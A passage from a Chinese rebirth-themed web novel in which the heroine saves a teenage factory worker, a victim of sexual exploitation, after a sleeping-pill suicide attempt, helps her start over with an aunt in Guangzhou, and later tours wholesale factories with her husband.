赵如月立马想起来了:“就是当年离婚闹得沸沸扬扬的那个呗?没想到是他大女儿,这姑娘也是可怜。” 第26章 赵如月说那姑娘可怜,不单指宁绍明认为的,在说她父母离婚,她多了个后妈,日子不好过太可怜,还指的是这姑娘后来的遭遇。 范小蓉在鹏城到底遇到了什么,赵如月上辈子跟老范家和这小姑娘都不熟,知道得不具体。 她只听说这姑娘走了歪路,钱是挣到不少,但这傻姑娘把大部分赚到的钱,寄老家给她爸了。 最后自己除了一身病痛,什么也没剩下。 原本以为是自己家的地方,最终也没接纳她。 赵如月为什么知道这些? 还不是老范和他老婆太嘚瑟,到处炫耀大女儿在外面挣了大钱。 竟然还自己对外说,范小蓉在鹏城找了个有钱人当二奶,在鹏城住大房子开豪车享福,不用上班就有大把钱花。 两个脑子有坑的,把这当做值得得意的好事,到处跟人显摆。 他们拿着女儿的卖身钱,在老家建新房子不说,又给儿子在县城买了一套商品房,一辆小汽车,儿子结婚的花销大部分也是范小蓉出。 同样在鹏城打工的人里,有人原本就跟老范夫妻俩不对付,休息时跟人出去玩,发现了范小蓉根本不是给有钱人当二奶,而是在夜总会上班出台。 因为看不惯老范夫妻俩那副得意洋洋的嘴脸,他们回老家就把范小蓉在鹏城挣的什么钱嚷嚷出去了。 这事就跟老范以前去嫖。娼被抓,后来被放出来,竟然跟老婆闹离婚,要娶他嫖那个鸡一样,成了镇上很长一段时间内的特大新闻,在镇上闹得人尽皆知。 再后来,赵如月听说范小蓉没再回过老家,好像是跟她小姨走了。 赵如月之后也没再听到过范小蓉的其他消息。 联想到范小蓉上辈子的事,又把这些事跟范小蓉给自己送东西时,说的那些话联系在一起,再结合自己身边最近发生的事。 赵如月隐约抓住了一点眉目:“你说,范小蓉会不会,也是孙洪光和高广强那个案子的受害者?” 宁绍明仔细一琢磨:“对啊,还真有可能,要不然她怎么会说你帮了她?你以前跟她都没怎么接触过,如果不是那件事,我想不到她说的,你帮了她很大的忙,到底是帮了什么忙。” “知道送东西的姑娘是谁就好办了,是不是,等找到人我悄悄问问她,”赵如月把那金耳环重新放回小袋子里,“明天我跟其他老乡打听一下她住哪里,把这金耳环还回去。” 自己又不是特地帮人家,这么贵重的东西,赵如月觉得不能收。 她连房东家和周家送的这类贵重礼物也没收,怎么能收她一个小小年纪辛苦出来打工的小女孩的东西。 宁绍明不放心让她自己一个人去,他们跟住在附近的老乡都比较熟,就算有些老乡以前在老家的时候,只知道有这么个人,没怎么打过交道,但搬到这边后,大家住得近,后来也都熟悉起来了,不存在漏网之鱼。 范小蓉既然跟他们不熟,就说明她住的地方离这边比较远,可能他跟赵如月都没去过。 要是她住的地方,是他们没去过的城中村,宁绍明可不敢让赵如月自己一个人去。 “你别自己去,我给厨师长和同事打个电话,明天跟同事换个班,到时候我跟你一起去。” 赵如月觉得不用那么麻烦:“我又不是小孩子了,不用人陪。” 宁绍明坚持:“我们这边还住着老房子的本地人多,治安算比较好的,有些城中村乱着呢,什么人都有,安全最重要。” “你说的也对,”赵如月才想起这时候零几年,治安确实不算好,“那好吧,明天我们早点去早点回,争取让你睡个午觉再去上班。” 宁绍明说着人已经走到门口鞋架前,换下拖鞋:“我这就出去打电话,正好可以顺便问问其他老乡,那小姑娘住在哪里,应该有人懂,我记得老范姐姐的女儿跟她对象也住在这边,她们是表姐妹,应该有联系。 老范的姐姐跟我大姐同龄,两人以前读书的时候,还是同桌,我来鹏城的时,大姐还跟我说,到这边可以多跟她老同学走动走动,不过离得太远,我跟人家又不熟,就没去过。” 赵如月说:“既然现在就要出去打听,那我跟你一起出去吧,你个大男人,去找人打听一个小姑娘住哪不合适。” 宁绍明想想也是,让赵如月裹得严实点,夫妻俩一起出门去了。 他们先去了范小蓉表姐家,很幸运地在她这里就知道了范小蓉的住处,不用再到处找其他老乡问。 他们还从范小蓉表姐那里得知,范小蓉竟然跟赵如月也是一个厂的,只是在新厂区的新宿舍。 那个厂子的厂区很大,新旧厂区又隔着一条街,赵如月上班的地方在老厂区,她跟丈夫一起在外面租房子住,也不常住宿舍,两人很难遇到。 赵如月之前工作的那个厂,就是高广强姐夫的厂子。 这下几乎她可以确定,范小蓉也是受害者之一。 高广强的事,他姐姐和姐夫没涉及,那厂子现在还在正常经营。 赵如月许久没来了,她和宁绍明挑着早上八点半,该上早班的工人上班,下夜班的工人已经回宿舍休息的时间,才到新厂区门口的保安亭登记进去找人。 登记好,两人一起来到宿舍楼下,到这里宁绍明就不能跟着进去了。 一楼靠近大门的宿舍被用作宿管的办公室,赵如月已经辞工,没有员工牌,要上楼也要再登记一次。 宿舍管理员问赵如月:“你是范小蓉的什么人?找她有什么事?” 赵如月知道她只是例行询问,宿舍没有要求一定是亲属才能进去找人,也就没胡乱给自己按身份,只说:“我是她老乡。” 不过找人的理由就不好这么直愣愣地说出来了。 赵如月找了个借口,半真半假地说:“我男人以前在老家跟范小蓉她爸是工友,他爸说她过年不回去,让我们回去的时候,顺便帮她给家里捎点东西。” 管理员听完了然地点头,自己不回去托老乡带东西很正常。 春节回去的车票早半个月就开始涨价,回去一次,光路费半个月工资就没了。 出来打工一年,回老家想不让人笑话,得买一身体面的衣服鞋子吧? 买衣服也不能光给自己买,父母老人也得一人买一件,表表孝心。 要是有弟弟妹妹,还要给弟弟妹妹买点小玩意儿,再买些好吃的回去,自家过年吃,也给亲近的亲戚分一分,算下来一个月工资打不住。 还有各种零零碎碎的花销,这么一算,回老家过个年,至少两个月白干!这还是全都往少了算的! 宿舍管理员也是外地来打工的,她算着回家过年的花销,滔滔不绝地跟赵如月聊起来。 赵如月登记好之后,宿舍管理员带着她上楼。 两人爬楼梯的时候,宿管左右看看,忽然压低声音跟赵如月说话: “别人托人送东西回家都是自己带上门请人帮忙,你们两口子还特地来找范小蓉拿东西,你家跟范小蓉家只是老乡,还是也是亲戚?” “只是老乡,”赵如月看她神色不太对劲,隐隐有点蠢蠢欲动要八卦的样子,心里警惕起来,开始胡扯: “别看我男人跟她爸以前在老家是工友,其实他俩年纪差了有十来岁,玩不到一起去,关系也一般,只是她爸跟我男人他哥是发小,两个从小穿一条裤子长大,关系好。 她爸拐着弯托他哥来叫我们帮忙,我男人他哥死要面子,帮捎带东西回去还不行,非得让我们顺便来看看人家姑娘在这边生活环境怎么样、同事好不好相处、有没有被人欺负,我男人听他哥的,但他一个男的,又进不来,我不乐意来也拿他没办法,说也说不听,只好跟着跑一趟了。” 宿管啧了一声,深有同感地抱怨:“男人就是这臭德性,听爹妈的,听兄弟姐妹的,听外边狐朋狗友的,就是不听媳妇儿的!不过你们来一趟也好。” 她确认赵如月只是老乡后,跟做贼似的,左右看看,声音压得更低。 音量几乎只有她们两能听到:“我跟你说,你回去可别告诉别人,那个范小蓉,好像在做那种见不得人的生意!” “啊?真的吗?”赵如月皱眉,嘴上适当地发出震惊的疑问,引着她继续往下说。 宿管一拍大腿,声音还是很低,眼神却很兴奋,十足的八卦模样: “怎么不真,我都亲眼看得真真的!就前段时间,我时不时就能看到有男人来接她,好几个不同的男人轮流来! 每次接她出去,当天晚上就不回来了,要是放几天假,放假当天就有人接她走,收假那天晚上才回来!” 赵如月没想到,范小蓉遇到的事情已经这么严重,心里隐隐有些担忧不安。 她想到范小蓉送自己的耳环,那分量跟普通耳环相比可不算轻。 范小蓉出来打工,至少一半工资要寄回家,剩下的她自己买日用品也要用一些。 按范小蓉出来打工的时间和工资来算,买耳环花掉的,也许是她工作这么久才攒下的所有钱。 这姑娘花掉所有攒下的钱,难道日子不过了? 第27章 聊着八卦,爬到范小蓉宿舍所在的楼层时,宿管已经说起了别的事。 两人一起走到宿舍门口,宿管敲了几下门,里面没人应声:“奇怪,范小蓉昨天是晚班,我早上看到她回来了,没见她出去啊,这门外面也没挂锁,里面肯定有人在的。” 赵如月透过窗帘的间往里看,她视力好,眼睛尖,看到有一张床上被子拱起。 她指着那张床对宿管说:“那个是不是范小蓉的床?她好像在睡觉,是不是上夜班熬夜太累,睡熟了,听不到敲门声。” “不可能啊,”宿管也凑过来看了看,“我听她宿舍的其他人说,最近范小蓉总是睡不好,有时候半夜做噩梦还又哭又喊的,那应该就是她的床。” 赵如月心头再次涌上不安:“别是生病没人发现,晕过去了吧,你有没有她们宿舍的钥匙?我们开门进去看看?” 宿管说:“不用,从窗户这里可以直接把门打开。” 她说着打开了窗户,直接伸手进去摸索几下,很轻松就把门打开了:“别看这样好像不怎么安全,但这是有人的时候才能这样开,可以从窗户开,有人下班回来,就不用总是教人帮忙开门了,她们自己买了锁头,要是宿舍里的人全都出去了,会从外面用锁头锁上。” 赵如月顾不上继续跟宿管说话,人已经冲进宿舍里。 掀开床上唯一躺着的人被子的一角,果然是昨天去她那里送东西的姑娘:“范小蓉!范小蓉!” 赵如月轻轻推了推她,紧闭着双眼的姑娘没有一点反应。 她又用了些力气,范小蓉还是没反应。 ‘啪嗒’一声,慢几步走在赵如月身后的宿管打开了宿舍的灯。 朝向不太好,又到处挂着蚊帐、衣服,导致室内光线不好,大白天也十分昏暗的宿舍瞬间被灯光照亮。 这时赵如月才看出范小蓉的脸色隐隐有些发青,她有种不好的预感。 抖着手,把手指伸到范小蓉鼻子底下探了探,发现她还有呼吸,不禁松了一口气。 宿管走过来,捡起范小蓉床下的一个药瓶:“看来她真是生病了,有些药吃了容易犯困,吃完药睡下确实不容易被吵醒。” 赵如月听了宿管的话,稍稍放松了些,然而一个不经意的转头,看到她手上拿着的空瓶子,感觉有点眼熟。 她把那空瓶子要过来看了一眼,日期和瓶身包装纸的新旧程度。 整个人立刻蹦了起来:“快!快下楼打120,叫救护车!” 这种药,她以前跟两个孩子闹矛盾,心烦睡不着的那些年也吃过,所以一看就看出来了。 “怎、怎么了?为什么要叫救护车?”宿管被她这一嗓子喊懵了,看了一眼药瓶,没看出什么门道。 范小蓉生病不是吃药了吗?怎么就要叫救护车了? 赵如月顾不上解释,立刻冲出宿舍,冲着楼下站在楼下等自己的宁绍明喊:“绍明,快去宿管办公室给120打电话,叫救护车!范小蓉吞安眠药自。杀了!” 她这一喊,把宿舍楼里下晚班休息的人全喊醒了,其他宿舍陆陆续续有人出来张望、讨论。 “刚刚有人在喊什么?什么救护车120的?” “谁生病了叫救护车?我睡太熟,没听清。” “我刚才还没睡,听清了,那个喊人的是范小蓉吞安眠药自。杀,叫楼下的人打120叫救护车!” “天啊!竟然有人自。杀!到底怎么回事?” “谁知道呢,有人认识自。杀那个吗?怎么样了?死没死啊?” “太可怕了!咱们厂里怎么会发生这样的事,万一人真死了,以后这宿舍还让人怎么住啊!” “是啊,真吓人!” “范小蓉……范小蓉不就是那个谁!”说这话的人给身边的朋友使了个眼色。 她朋友愣了一下,很快反应过来:“你说的是隔壁车间那个、别人说她是做那什么的女的?” “就是她!” “怎么还闹自。杀了?” “会不会是被家里人发现,嫌弃她丢人,不认她,她就不想活了?” “没证据的事,你们别瞎说!” “谁瞎说了,住我们这一栋的人,谁不知道她是干什么的!” 有跟范小蓉相熟的工友听到消息,赶过来看看是怎么回事,半路上就听到有人嚼舌根,当场跟那几个人吵起来。 各种各样的人说话声汇聚在一起,赵如月只听到耳边嗡嗡声作响,感觉时间过得太慢,救护车来得也太慢。 她现在没有手机,不能马上查该如何急救,身边也没有电话,不能连线医护人员,让她们指导。 自己两辈子也是第一次遇到这种情况,完全不知道在等救护车来的这段时间,自己应该做些什么可以对范小蓉有些帮助。 最后只能什么都不做,待在那里等着。 赵如月感觉过了大半天救护车才来,实际上工厂附近就有一家医院,从叫救护车到救护车到达,只过了十几分钟。 宁绍明跟着医护人员才得以上楼,他走到呆坐在床位的赵如月身边,握住她的手,那手冷得像是握住了两个冰块。 感受到手上传来的温度,赵如月终于回过神来,腿软得站都站不稳,被宁绍明半抱半扶地跟着医护人员一起下楼,一起坐上救护车去医院。 宿管和她们主管也跟着一起来了。 几人一起在抢救室外面等着,不知过了多久,医生终于出来。 赵如月听到医生说了一句:“幸好送来得及时……”后面医生好像还说了什么,但她完全听不进去了。 只知道范小蓉被救回来了,已经没有生命危险,只是人还比较虚弱。 她醒过来之后,面对工厂派来的负责人,任凭他们说什么,她都一声不吭。 等工厂派来的人离开,赵如月走进病房,范小蓉才留着眼泪,声音沙哑地对她说了一声:“对不起。” 赵如月叹气,她是真的不太会安慰人,也装不成知心大姐姐说那些暖心的话。 她直接有什么就说什么了。 “你送的水果我收下了,但那对金耳环我不能收。” 范小蓉听到这话有些激动地想坐起来。 赵如月按住她:“你别起来,好好躺着休息,听我说完。” “我知道你为什么要送我东西,可你是受害者,不是加害者,我不能收你那么贵重的东西,其他受害者家人送的贵重物品,我都没收,我要是收了你的,我成什么了?” 坑高广强和高父,赵如月可以眼睛都不眨一下,可范小蓉已经够可怜的了。 宿管八卦的那些话,也许有添油加醋的成分,但是范小蓉被人叫走,是事实,厂里不少人都看见了。 赵如月猜,她大概被迫陷得比房东的孙女和周家的姑娘更深。 可范小蓉身边没有可以依靠的人,她没能及时得到帮助,甚至都不知道能跟谁说,也不敢跟人说,更不知道如何自救、能找谁救自己,又有谁能救自己。 赵如月不知道上辈子范小蓉是否也吞药自。杀过。 只知道自己不希望她跟上辈子一样走歪路,更不希望她就这么没了。 赵如月将一直放在口袋里的耳环拿出来,塞进范小蓉手里:“你这次吃安眠药是个人自发的行为,你们厂里不愿意给你垫医药费,我就先垫了,等你病好了,医药费你得还我。” “姐,可是我、我……”范小蓉把耳环往赵如月那边推,可她身体太虚弱,哪比得过赵如月的力气。 最后只能攥着耳环流眼泪,哽咽着说:“我不是不想还你……只是我可能、可能在厂里待不下去,不能继续上班挣钱了,厂里的人都知道我……” 她咬着下唇,剩下的半句话怎么也说不出来。 范小蓉晚上做梦,总会梦到自己掉进水里,她拼命地想往水面游,却永远浮不出水面、游不到岸上。 高广强被抓了,但那些事造成的影响却没消失。 周边的声音、那些鄙夷的眼神,伴随异样眼光而来的厂里男员工的骚扰,就像紧紧缠绕住她的水草,拽着她,将她困在深潭,让她窒息。 “姐,我脏了,我再也回不去了!” 这些事她憋在心里太久,终于有个可以理解自己,让自己可以放心倾诉的人。 范小蓉忍不住抱着赵如月放声痛哭,边哭边诉说着自己的遭遇。 站在门边的宁绍明急忙走出去关上门,站在门外注意着外面,不让人到门口偷听。 赵如月在里面陪着范小蓉,她没说话,只是像一个母亲哄哭泣的孩子一样,抱着她,轻轻拍着她的后辈,听她诉说所有的委屈。 大哭发泄过一场,又痛痛快快地把心里话全都说了出来,范小蓉终于冷静下来。 冷静下来后,她想离开这个世界的心,终于不再那么坚决。 只是她依然不知道自己该怎么办。 回老家? 她刚来打工的时候才十四岁,还没到十六岁可以出来打工的年纪。 但是她爸和她后妈找人借身份证,也要让她出来挣钱,他们甚至不愿意等到她初中毕业。 而且回去后不再出来打工的话,她又该怎么跟家里人解释呢? 同一个厂上班的老乡不少,肯定有人听说过她的事,万一人家回老家,跟老家的人说了怎么办? 到时候老家她也一样待不下去。 她今年满十六岁了,不能出来给家里挣钱,她爸和后妈很有可能,会随便找个给彩礼多的人,把她嫁出去。 范小蓉感觉,天大地大却没有一个自己能容身的地方,要不然之前她也不会想不开。 赵如月听完她的话,试探着问:“你妈跟你爸离婚,离开老家后,你还跟她有联系吗?能不能找到她?” 第28章 提到自己的亲妈,范小蓉神色黯然:“我爸妈离婚后,我就再也没见过她,也联系不上,去我外婆家问,我外婆和舅舅姨妈们也说没有她的消息。” 她不知道该不该相信外婆那边的人,也许她们也不想让她再去找她妈妈,后来她就很少去,也没什么时间去了。 因为她放学回家除了要做作业,还要做家务,做饭、洗全家人的衣服、喂鸡、喂鸭、喂猪、放牛全是她的活,根本没有多余的时间去。 父母离婚的时候她还小,但她妈妈离开前也问过她,要不要跟她走。 当时她不懂事,奶奶哄她说,要是她跟着妈妈走,等她妈妈嫁给别人,就会把她卖了。 到时候她就是个没爸没妈的孩子,留在家里,至少她还能有个爸,她就信了,说不愿意走。 父亲再婚后,她很快被迫懂事,才后知后觉自己错过了什么。 但是跟她妈妈走,是否就会过得比留在老家好呢? 范小蓉自己也不知道答案,但人总是会美化自己没选择的那条路。 她在家受委屈的时候,总会不自觉幻想,自己当初没选择留下,而是选择跟妈妈走,然后过上了很好的生活。 可幻想终究只是幻想。 赵如月不知道范小蓉的想法,她只知道范小蓉急需脱离现在的环境和自轻自毁心态。 听完范小蓉的话,她尝试让范小蓉从另一个角度看待这件事:“你看,你妈妈走了之后,连你和你外婆家的人作为亲人都找不到她,换到你自己身上,你也可以做到。” 范小蓉一怔:“姐,你的意思是……” (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)赵如月:“既然觉得那个厂回不去,那干脆就不回去了,担心老家人也知道那些事,老家也可以不再回去,彻底远离让自己难受的环境。 你现在人在外面,不想让人找到,他们绝对找不到你。 国家那么大,全国那么多的城市,换一个地方,身边都是陌生人,跟旧人的联系一断,新人谁知道你的过往?” 范小蓉有些心动,又有些犹豫:“可我一个人去陌生的地方……” 赵如月挑眉:“死都不怕,还怕去陌生的地方?逃避既不可耻,也很有用!” 至少对于现在的范小蓉来说很适用! “是啊,我算是死过一回的人了。”范小蓉感觉心胸骤然开阔,大不了就是一个死,还怕什么呢。 她这会儿倒是有点后悔,当初被逼着做那些自己不想做的事时,自己没有这样的勇气。 赵如月看她低头沉默的样子,以为她还是害怕。 又说道:“真害怕去陌生的城市,那去鹏城别的区也行,你来鹏城打工将近两年,辛辛苦苦忙着上班挣钱,还没好好看过这个城市吧? 鹏城那么大,有好几个片区,也许你出了这个厂所在的片区,跟去了其他城市没什么两样,你混入人群,就像一滴水混入大海,只要你想,就可以再也遇不到任何一个熟人。” 赵如月其实还想劝范小蓉跟范家断掉联系,别给那一家子吸血鬼寄钱了。 可思来想去,还是觉得疏不间亲。 她跟范小蓉只是因为一件事有了交集,自己阴差阳错救了她,互相之间却算不上真正的熟人,有些话可以说,有些话说出来不合适。 可不说的话,赵如月心里总觉得不爽,凭什么一个小小年纪、还没成年的姑娘出来工作,那一家子就等着吃她的劳动成果。 她想了想,想到范小蓉的小姨,上辈子听八卦的时候,听到范小蓉后来跟她小姨走了。 给她说这事的人,也八卦了一嘴她小姨的经历,那人还说范小蓉的小姨,这几年也在羊城的电子厂打工,距离鹏城那么近,她竟然没看住外甥女。 赵如月这会儿听范小蓉说,她这些年跟外婆家那边的人不怎么走动,感觉她小姨上辈子被人说嘴也挺冤的。 就凭她小姨上辈子愿意顶着闲言碎语的压力,带走收留名声坏成那样的范小蓉,应该也坏不到哪里去。 “我听说你小姨在羊城那边上班,你要是有她的联系方式,再不行,去找她也不错,有个长辈在身边,也不容易被人欺负。” 范小蓉还真有小姨的联系方式:“那我试着联系一下我小姨,能联系上的话,我就去她那里,等我找到新的工作,拿到工资,我肯定先把医药费还上。” 听到这话,赵如月总算可以放心了,这姑娘能想以后找新工作的事,应该不会再想不开做傻事。 “什么时候还钱都行,我不着急,你是个好姑娘,我相信你不会赖账。” 范小蓉难得被人夸,仅仅夸了那么一句好姑娘,她就既高兴又有些不好意思起来,连脸都红了。 赵如月真心希望她能联系上她小姨,跟她母亲娘家那边走得越近,以后有更大概率跟父亲那边越疏远。 范小蓉的小姨作为她的亲人,有些话由她小姨来说更合适,最好能劝得范小蓉跟范家断绝关系,不要再供养那一家子吸血鬼。 想到断绝关系,赵如月又想起上辈子跟自己断联的女儿,那时候的她,是不是也被女儿当做吸血鬼了? 她应该没老范家那么丧心病狂吧? 赵如月思绪复杂,劝好了范小蓉,她离开的时候心情却不太好。 宁绍明不知道原因,还以为她在担心范小蓉以后怎么办: “要不我们回去问问房东,能不能让范小蓉去他亲戚的厂子上班?房东不是说,他又好几个开厂的亲戚,应该不会都开在这一片吧?” 赵如月摇头:“先看看吧,范小蓉说先试着联系她小姨,联系上的话,就去羊城她小姨那边,联系不上再说。” “也好。”要不总去找房东帮忙,宁绍明也觉得不太好意思。 不知道是不是范小蓉经历一系列不幸后转了运。 过了没几天,赵如月收到了范小蓉从羊城寄来的信。 这还是赵如月第一次在鹏城收到信,感觉还挺新奇:“我还想着,后天你刚好有空,再过去看看她怎么样了。” 宁绍明也觉得新奇又好奇:“信上写的什么?” 赵如月边看信边告诉他:“范小蓉在信上说,她现在一切都好,那天我们走后,她就借医院的电话联系了她小姨,她小姨第二天就请假赶到医院,她们第三天问过医生,确认可以出院后,就去厂里收拾东西辞工走了。 她小姨一家在羊城租了房子,范小蓉暂时在那边休养一段时间,等过完年就进她小姨上班的电子厂工作。 她还跟我道歉,说不是故意一声不吭就走,而是担心离开前来找我被人看见,到时候范家人知道了她离开前最后见的人是我们,会给我们惹麻烦。” 宁绍明听到这里觉得不太明白:“这是什么意思?她去她小姨那里,不打算让老范夫妻俩知道?” 赵如月看着剩下的内容,不由露出笑来,也不给他分析那话什么意思,只继续说信后面的内容:“她说以后不会再回老家,也不会再联系老家的人。” 这下不用赵如月分析,宁绍明也明白了:“这姑娘是不要家了呀?” “你觉得那还是她家?” 宁绍明叹息:“老人常说,有后爹就有后娘,真是没说错。” “她能想通就好,经历了那么多,以后她能好好过日子就不错了,哪还管得了那一家子。”赵如月把信递过去让他也看看,看完了折起来收好。 “晚点我也去买张信纸和信封,给范小蓉写回信,她说以后工作发了工资,会把医药费寄给我,得跟她说一声,我们回老家就不再来了。” 赵如月的东西都收拾得差不多了,该分的已经全都分出去,只剩下他们现在还在用着的被子枕头那些。 吴丽说这些她都要,到时候他们回去了,她再收拾,这下他们连床铺都不用收拾了。 吴丽和黄文发夫妻俩回老家过年的日子晚一些,得到大年三十前一天才能回。 宁绍明后天办好离职手续,正式辞职,不用再去上班。 他们过两天跟房东去看过工厂,再一起去买点东西,就要跟着比较早回去的老乡一起,包车回去了。 榕溪镇,大桥街。 周六的一大早,宁时夏端着碗出来,看到爷爷拿起挂钟下的挂历。 她赶忙抱着碗冲过去:“爷爷,我来我来!让我来撕!” 宁达哭笑不得地把挂历递过去:“我就是看看,没要撕。” “哼,我才不信,昨天大哥也这么说!”她信了,结果就上当了! 上初中住宿的宁丹萍从学校回来,好奇地问:“小夏怎么迷上撕日历了?最近你们学校不流行折星星吗?” 宁时秋看了一眼撕下昨天的那张日历后,一脸心满意足的妹妹,无奈跟堂姐解释:“自从我爸妈答应给她买滑板回来,她就天天撕日历,数着日子等爸妈回来。” 宁时夏重新端起碗,往嘴里划拉炒饭,含含糊糊地说:“还有四天爸爸妈妈就回来了,哥,到时候我们可以上高速休息区接他们吗?” “不能,你忘了,爸爸妈妈打电话回来的时候说过,他们会跟鑫阳的爸妈一起包车回来,直接到家门口下车。” “好吧,也不知道他们几点钟到家,要是晚上到,我睡着了怎么办。” “少愁这些没用的,赶紧吃早饭,吃完抓紧时间写作业,”宁时秋很有哥哥范儿地说道,“不写完不许出去玩,也不许开电视看!” “知道了知道了!”宁时夏话音没落,人已经抱着碗跑出去。 跑到隔壁开了电视的邻居家,跟小伙伴一起坐着小板凳边看电视边吃。 宁时秋还来不及提醒她,端着碗慢慢走路,别跑那么快,已经连个人影都不见了。 只好转头回来,捡起被妹妹撕下扔在桌上的日历,小心翼翼地折起来,带回房间,夹在日记本里。 然后拿出笔,在夹着昨天日历的那一页,一笔一划认认真真地写下一行字: 2004年1月10日,农历腊月十九,星期六,爸爸妈妈还有四天回家。 第29章 坐上前往工厂的车时,赵如月难掩激动的心情。 她觉得这次机会送上门来,自家不说发大财吧,怎么也能小发一把。 多活了一辈子,赵如月认为自己有先知优势,不就是选小商品卖嘛,这有多难? 这一次,她必然不会再被时代的浪潮抛下! 她畅想着,等以后自己挣了钱,给儿子女儿都买一套房一辆车,看女儿还敢说自己偏心她哥! 结果去之前有多雄心壮志,真正见识到人家工厂的商品种类有多少、出货量最低要求是多少后,她就有多傻眼。 陆发说他这几个开厂的亲戚做的都是小商品的生意,乍一听好像是代工的小作坊小工厂,生意貌似也做得不大。 赵如月一开始也是这么认为的,到了之后才知道,人家的商品是小商品没错,生意却不是什么小生意,不但在国内铺货,还正经做出口生意。 别说虽然她有十万,但还要留着一部分备用和应急,能动用的钱,可不到十万,就算把他们全副身家都拿来进货,也不够人家最低的出货要求的。 赵如月看完第一家工厂,就有点想打退堂鼓,什么先知优势、什么多了一辈子? 她深深感受到,就算再多活两辈子,人也赚不到认知以外的钱。 也许换了胆子大、有闯劲儿、有经济头脑的人来,可以凭借手头有限的资金,撬动一笔大生意,从此成为成功的企业家,走上人生巅峰! 可赵如月有自知之明,很明显,自己并不是那样的人。 要不然有这本事,自己上辈子也能发财了,还用得着供两个孩子上学都苦兮兮的? 好在他们夫妻俩面上都端得住,跟在陆发身后到处参观,心里不管怎么想,也没表现在脸上。 赵如月心里庆幸,之前陆发提出这事的时候,自己没有被这个好处冲昏头。 要是那时候脑子一热,跟人家说想趁春节前那几天好卖,年前批发一些货回去卖的话,现在就要下不来台了。 前面几个工厂参观下来,赵如月没有发现哪个是适合自己这样的小本生意人做的,倒是陆发跟亲戚谈下了两笔生意。 赵如月这才知道,陆发家不只靠房租生活,人家在鹏城和羊城都有店面,生意还做得不错。 只是那些店是他的孩子在管理,他不需要去看店,只需要负责把控货源,收收租也只是平时有空顺带手做一下。 今天恐怕主要来进货的是他,带自己跟宁绍明来只是个搭头,怪不得陆发敢说,他带他们来,他的亲戚一定会给他们批发价。 原来是他自己也要进货,赵如月想,以后自己进货,估计也是搭着陆发家的货一起批。 只是这样,就要根据陆发家卖的货,来考虑和确定自己要卖什么,并不一定能随自己当地的需求和心意挑选。 如果她要的货不包含在陆发家要的货范围内,赵如月不知道,到时候是否会被拒绝。 以这种方式做起来的生意,限制很大,不可控性也很大。 也有可能,到时候陆家为了还之前他们帮忙的人情,会贴钱帮他们做生意,可这样的生意不会长久。 “要是换个聪明人,人家可能在房东提出这事的时候,就会问或者直接就猜到房东家也做生意了,再不济,参观第一个厂子的时候,听他们说话或者观察他们的神态,大概也能猜到,”赵如月趁着没人的时候,小声跟宁绍明说,“我看到人家验货签单才意识到这点,可见我在这方面确实没什么天分。” 宁绍明倒是觉得她有些妄自菲薄:“你以前也没接触过这些,不知道不是很正常?这次见识过,以后就知道了。” 赵如月叹气:“机会可遇不可求,哪可能一直待在原地等着我学会,以后怕是没这样的机会了。 宁绍明看出来她没干劲,也不想做小商品生意了。 安慰她:“我们说好了年后再给房东答复,你有的是时间,可以慢慢考虑,接下来还要看最后一个工厂,参观完你要还是不知道该卖什么,这事就算了。 反正不做小商品生意,你还可以跟我一起做餐饮,夫妻档也挺好的,两个人忙一个店,总比一个人干一样轻松些。 到时候由我来跟房东说,我希望你帮我一起开餐饮店,就不做小商品生意了,今天来参观就当花一天时间,来见见世面,长长见识。” 赵如月挺不好意思,之前兴致勃勃要卖小商品的是她,现在打退堂鼓的也是她,幸好宁绍明比较能包容她。 最后一个工厂,倒是跟赵如月来之前预想中的有些接近。 那是一个做衣服、裤子、帽子、袜子、鞋子的代工厂,规模不算大,出货量最低要求也不高。 进货资金这方面是合适了,赵如月却依然做不了,因为衣服这东西,需要比较好的审美去选品。 她的衣品只能勉强算得上一般,买的衣服几乎全是以舒适为主,但是想长期做服装生意,这样肯定是不行的。 选品要是做不好,就等着积压一大堆货亏钱吧。 赵如月觉得,让自己女儿来选,没准选出来的都要比她选的好,可她女儿才三岁…… 最后,来这一趟发财梦碎,还什么也没做成,赵如月干脆破罐子破摔,想着来都来了,干脆豁出去。 算着准备要走的时候,她厚着脸皮问人家:“我们过几天回老家过年,想给老人孩子买几件衣服,能不能直接在这儿买?能给个批发价不?” 本以为老板会不太高兴,没想到人家脸上的笑容一点没变,直接点头同意:“当然可以,我们这里经常有打算进货去卖的人来拿样品,只要登记一下,就算每样只拿一两件,我们也给批发价,你们要的话,我就当样品给你们了。” “那太谢谢了!”赵如月原本只打算给父母公婆、她和宁绍明一人买一套,两个孩子一人买两套。 一看价格,连兄弟姐妹、侄子侄女、外甥外甥女全算上了! 儿子女儿更是直接把从里到外、从上到下要穿的,一人给买四套! 赵如月选好款式,跟着工作人员去拿衣服。 工作人员在仓库里翻合适的袋子给她装衣服,不小心扯到角落的一个大口袋,里面散落出一捆一捆红红绿绿的袜子。 赵如月好奇地问:“你们这怎么还做这种大红大绿的袜子?城里很少有人会买这种样式的吧?这种带到我们老家乡下去,价格实惠点的话,倒是有可能会比较受欢迎。” “这个啊,”工作人员头疼地看了一眼那袋袜子,“这是圣诞节前做的袜子,圣诞节那时候倒是卖得还行,过了圣诞节就不好卖了。” “原来是这样。”赵如月看到的时候,就觉得那配色挺眼熟,还真没往圣诞节想,毕竟她也不过洋节。 就她这种审美非常一般的人,看着都觉得如果不跟圣诞节搭边的话,那配色真的挺土挺丑的。 工作人员听赵如月说,那袜子在她老家可能受欢迎,仿佛看到了清理积压货的希望。 “那些都是当时做多剩下的优等货,不是瑕疵品,你要带回去卖卖看不? 一共有两袋,可以便宜点当积压的次品,一袋一百块钱批给你,还有三袋丝巾、围巾、手套那些混装的,不全是圣诞款,有些是去年春节做的羊年生肖款,今年过时了,拿回去需要自己挑拣分类,你要的话,等会儿我去跟老板说一声就行。” 赵如月下意识想拒绝,那袋子可不是两塑料袋,而是类似尿素袋那样的大编织袋,想带那么几大袋东西回去可不容易。 他们原本回去要带的东西已经很多了,再加上这些,长途车司机的白眼恐怕能翻到天上去。 过年人人回老家都要带不少东西,放行李的地方不一定够分,到时候可别连他们都被司机拒载了。 可话没说出口,赵如月又想起他们是跟老乡一起包车回去,不存在中途揽客超员和放行李的地方不够分的情况。 合伙包车的人还差两个,要是她把那两个位置也包了,加上原先她和宁绍明的两个位置,他们一共就有四个位置。 车底行李舱里能占的空间也更多,多带点东西,其他人应该不会有意见。 